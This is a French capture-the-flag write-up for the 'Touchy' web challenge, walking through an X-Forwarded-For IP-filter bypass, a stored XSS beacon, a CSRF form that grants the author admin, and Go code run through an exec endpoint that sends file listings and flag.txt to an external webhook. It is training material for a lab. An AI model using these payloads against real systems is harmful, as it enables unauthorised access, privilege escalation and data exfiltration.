ThaySan
  • 👋Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • 🔑Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • 🔎Forensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • 💾Programmation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • ⚙️Reverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • 🔑Cryptographie
        • Clavier spécial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins Trafiqués
        • Redstone Gold Block
      • 💾Programmation
        • Captcha 1.0
        • Intro à la prog
        • Captcha 2.0
      • ⚙️Reverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭Stéganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drôle de QR code
        • Randonnée Guillerette à Bordeaux
      • 💻Système
        • Marche-pied
        • Escabot
        • régulation des Données et des Normes de Sécurité
      • 🌐Web
        • cybernight.zip
        • Mon champion préféré
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquête
        • L'enquête 2/6
        • L'Enquête 1/6
        • Bienvenue, enquêteur
    • 2024 | Star-Hack
      • 🔑Cryptographie
        • César, mais pas César
        • Double ennui
        • Langage secret
        • Quadratique Mystérieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • 🔎Forensic
        • Cache-cache
        • Fichier ZIP protégé par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi ça ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • ⚙️Reverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • 🔑Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • 🔑Cryptographie
        • AES Intro
        • Aléatoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • 🔎Forensic
        • Mais qui est le photographe ?
        • Mais où est passé mon flag ?
        • Mémoire 1/4
        • Mémoire 2/4
        • Mémoire 3/4
        • Mémoire 4/4
        • My computer is talking
      • 📚OSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • Sacré dossier
        • Socint
      • 💾Programmation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • ⚙️Reverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭Stéganographie
        • Cybernight être comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • 💻Système
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • 🔑Cryptographie
        • conv
        • oracle-srl
        • ctr
      • 🔎Forensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • 📱Mobile
        • mobisec
      • 📚OSINT
      • 😈Pwn
      • ⚙️Reverse
      • 🕵️Traque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • 🔑Cryptographie
        • Bébé nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'éponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissé chef !
        • SEA - La face cachée de l'Iceberg
      • 🔎Forensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sécuriser que guérir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • 🔌Hardware
        • Serial killer
        • Le soulevé de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais où sont les triggers ?
      • 🤖IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dérobées
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • 📚OSINT
        • Légende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • 🐈‍⬛Quantique
        • Des trains superposés
        • De l'écoute, pas très discrète
        • De la multiplicité des problèmes
      • ⚙️Reverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭Stéganographie
        • ⭐L'absence
        • ⭐Regarder en stéréo
        • ⭐La Barre Fixe
        • ⭐Le grand écart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous êtes en RETARD
        • ⭐Le match du siècle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siècle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • 🔑Cryptographie
        • zzz
      • 📚OSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prélude
        • La fin ?
        • La fuite Dumas
        • Un réseau suspect
      • 💾Programmation
        • Eval me 1
        • Eval me 2
        • Time Based
      • 💻Système
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement était le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • 🔗Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • 🔑Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • 🔎Forensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • 🔌Hardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • ⚙️Reverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • 🔑Cryptographie
        • start-enc
        • traffic-e
      • 🔎Forensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • 📱Mobile
        • flagen
        • improper-configuration
      • 📡Network
        • wifi-basic
        • wifiland
      • 📚OSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • ⚙️Reverse
        • fake-add
      • 🎭Stéganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • 📚OSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • ⚙️Reverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • 🔑Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • 🔑Cryptographie
        • Coupé-décalé
        • ExFILEtration
        • Il s'est baissé ou pas
        • J'ai pas roté
        • Les allemands !
        • RSA Strong Prime generator
      • 🔎Forensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • 🔌Hardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • 💾Programmation
        • Repeat
        • Startup
        • Timing
      • ⚙️Reverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭Stéganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
Propulsé par GitBook
Sur cette page
  • Challenge
  • Solution
  • Exploration du site
  • XSS stockée et CSRF
  • Exécution de code Go

Cet article vous a-t-il été utile ?

  1. CTF & Writeups
  2. 2024 | CTFREI Intro
  3. Web

Touchy

PrécédentRenderV2Suivant2024 | DefCamp

Dernière mise à jour il y a 7 mois

Cet article vous a-t-il été utile ?

Catégorie: Web Difficulté: - Flag: CTFREI{I_luv_CsRf_I_H4te_HttpOnly}

Challenge

Description


/!\ AUCUN DOCKER ESCAPE N'EST NÉCESSAIRE / TOLÉRÉ /!\

/!\ NO FUZZING NOR BRUTEFORCE ALLOWED >:3

Vous êtes missionnés pour faire un pentest sur notre site vitrine. Il dispose d'un back et d'un front office. Les accès au back office sont filtrés pour nous assurer que des personnes extérieures ne puissent se connecter dessus. Vous ferez les tests sur un environement de développement, il est donc possible qu'il y ait du traffic sur l'application. Mais pas d'inquiétude ! Vous pourrez faire tous les tests que vous voulez.

À noter que l'environnement à disposition est une copie de notre environnement de production.

Pensez bien à rajouter dans votre fichier /etc/hosts la ligne suivante, afin d'accêder au chall : 146.59.33.15 front.touchy.fr back.touchy.fr

En cas de problème ou question, contactez Kaddate sur le serveur discord CTFREI.

url :

Ce challenge tourne sur un docker et n'est pas disponible

Solution

Pour faciliter l'analyse, on va utilise .

Exploration du site

Rien d'intéressant sur le front, donc on va se concentrer sur le back. Si l'on tente d'y accéder, on se prend un message pour dire que le site est restreint aux employés du réseau uniquement.

Il faut donc faire croire au serveur qu'on est sur le réseau local, pour ça on peut utiliser certains entêtes HTTP spécifiques. Ici, c'est X-Forwarded-For qui permet de changer son IP auprès du filtre de vérification.

Les vulnérabilités liées à l'en-tête X-Forwarded-For surviennent lorsqu'une application web se fie à cet en-tête pour déterminer l'adresse IP de l'utilisateur sans validation. Un attaquant peut le manipuler pour contourner des restrictions d'accès basées sur l'IP ou masquer son identité. Cela fonctionne parce que les serveurs de proxy ou load balancers ajoutent cet en-tête, et s'il n'est pas correctement vérifié, l'application accepte une IP falsifiée.

Comme l'objectif est de faire croire que l'on est dans le même réseau, on peut utiliser des IP locales parmi les plages suivantes :

  • de 10.0.0.0 à 10.255.255.255

  • de 172.16.0.0 à 172.31.255.255

  • de 192.168.0.0 à 192.168.255.255

On a une 404, ça veut dire que l'on est accepté !

Maintenant, il faut réfléchir et deviner une page possible. On est sur un backend, il y a surement une page pour se connecter. En testant un peu par hasard, on tombe sur /login. La page indique également un lien vers /register, on peut donc créer un compte.

Notre compte ici se nommera étrangement ThaySan. Une fois connecté, on est redirigé sur la page /admin.

On a 3 onglets disponibles :

  • ExecCode : il faut être admin pour l'utiliser

  • EditUser : il faut être admin pour l'utiliser

  • EditContent : on peut l'utiliser et modifier l'HTML du front.

XSS stockée et CSRF

On a juste à mettre ce bout d'HTML dans la page du front

<img src="http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5" />

On reçoit bien une requête depuis l'IP du serveur, preuve qu'un utilisateur local (ici un bot) regarde le front régulièrement (toutes les 4s). On part du principe que c'est un admin, sinon le chall ne serait pas faisable.

Un classique des XSS est de voler le cookie de l'utilisateur, malheureusement pour nous, il n'est pas possible de faire ça ici puisque le cookie est en HTTPOnly, il est donc inaccessible depuis le Javascript.

Ce n'est pas grave. Comme on a accès au formulaire pour éditer le rôle d'un compte, même si on n'a pas l'autorisation nécessaire pour le faire, on connaît la requête à envoyer.

On va donc faire en sorte notre gentil admin, qui voit le front régulièrement, soumette un formulaire avec nos informations pour nous donner le rôle admin, on appelle ça une CSRF.

Attention, nous sommes hors du réseau local du serveur et nous avons accès au backend via le port 8888. Mais pour quelqu'un à l'intérieur du réseau, comme le bot l'utilisateur, c'est bien le port normal de l'HTTP (80) qui donne accès au serveur. Il y a une différence entre les ports exposés et internes.

<form id="csrf" action="http://back.touchy.fr/admin/editUser" method="POST">
  <input name="username" value="ThaySan"/>
  <input name="role" value="admin"/>
</form>

<script>
document.getElementById('csrf').submit()
</script>

On ajoute ça au front et on attend.

Exécution de code Go

Eh boom, on peut maintenant accéder à la fonction pour exécuter du code. Il est dit que c'est du Go, et même si ce n'est pas clair, il suffit d'envoyer le contenu d'un fichier .go. Notre content sera compilé puis exécuté.

En se basant sur notre requête test de la page ExecCode, on va faire un script Python qui enverra notre fichier Go de la même manière, ça sera plus simple pour écrire et modifier le fichier qu'on envoi.

import requests

url = "http://back.touchy.fr:8888/admin/execCode"
cookies = {"Session": "$2a$14$50UopOa4gg97KAc.9lo5A.MzLy85wlICltnW05eO0mbrZ.Vx40WH6"}
headers = {"Cache-Control": "max-age=0", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "192.168.1.1"}

with open('touchy.go', 'r') as f:
  content = f.read()

requests.post(url, headers=headers, cookies=cookies, data={'content': content})

Et voici le contenu de touchy.go pour tester l'exécution. Comme tout à l'heure avec l'image pour tester la XSS, on va simplement faire une requête GET sur notre endpoint.

package main

import "net/http"

func main() {
  http.Get("http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5")
}

Ça fonctionne ! Maintenant, on pourrait exécuter une commande pour faire un reverse shell, mais on va se contenter d'envoyer le flag sur notre endpoint, c'est largement suffisant.

Pour ça, on commence par lister les fichiers :

package main

import (
  "net/http"
  "net/url"
  "os/exec"
)

func main() {
  cmd := exec.Command("ls", "-al")
  output, err := cmd.Output()
  if err != nil {
    return
  }

  params := url.Values{}
  params.Add("result", string(output))
  http.Get("http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5?" + params.Encode())
}

Puis, on affiche flag.txt :

package main

import (
	"net/http"
	"net/url"
	"os/exec"
)

func main() {
  cmd := exec.Command("cat", "flag.txt")
  output, err := cmd.Output()
  if err != nil {
    return
  }

  params := url.Values{}
  params.Add("result", string(output))
  http.Get("http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5?" + params.Encode())
}

On va se servir des modifications possibles sur le front pour stocker une XSS (c'est-à-dire un script malveillant) en espérant qu'un admin tombe dessus. Pour tester ça, on va simplement faire une requête vers un endpoint quelconque et regarder si l'on reçoit quelque chose. Ici, j'utilise une image pour faire une requête sur .

🚩
🌐
http://front.touchy.fr:8888/
Burp
Webhook.site